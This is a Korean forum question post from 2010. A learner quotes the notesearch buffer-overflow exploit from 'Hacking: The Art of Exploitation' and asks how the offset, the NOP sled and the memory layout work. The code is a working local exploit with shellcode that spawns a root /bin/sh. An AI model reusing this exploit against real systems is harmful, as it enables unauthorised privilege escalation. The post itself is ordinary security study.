|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1430 [복사]
음.. 일단 이 코드는 해킹 공격의 예술 책에 나온 소스코드인데요..
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
입니다. 여기서 이해가 안가는 부분이 4가지가 있는데요..
1. i주소에서 offset 을 뺀 이유가 뭔가요?
2. offset 은 왜 270 인가 ?
3. char * buffer 와 command 는 동적으로 할당되기 때문에 스택이 아닌 힙에 할당되는 것 아닌가요?
그런데 왜 오프셋은 270이나 되나요 ?
4.이 프로그램의 메모리 구조가 궁금한데요
책에서보면 썰매(NOP)를 이용해서 쉘코드를 실행시킨다고 나와있습니다. 그러면
ret 주소를 썰매(NOP)가 있는 주소로 바꾼다 -> ret주소를 실행해 썰매를 탄다 -> 쉘코드가 실행된다.
이렇게되면 메모리구조는
(높은주소)------------ (낮은주소)
ret ----NOP----쉘코드
이렇게 되나요?
질문이 많지만 답변부탁드려요 ㅠ
|
Hit : 3046 Date : 2010/10/02 08:51
|
1574, 
3/79 
k1rha
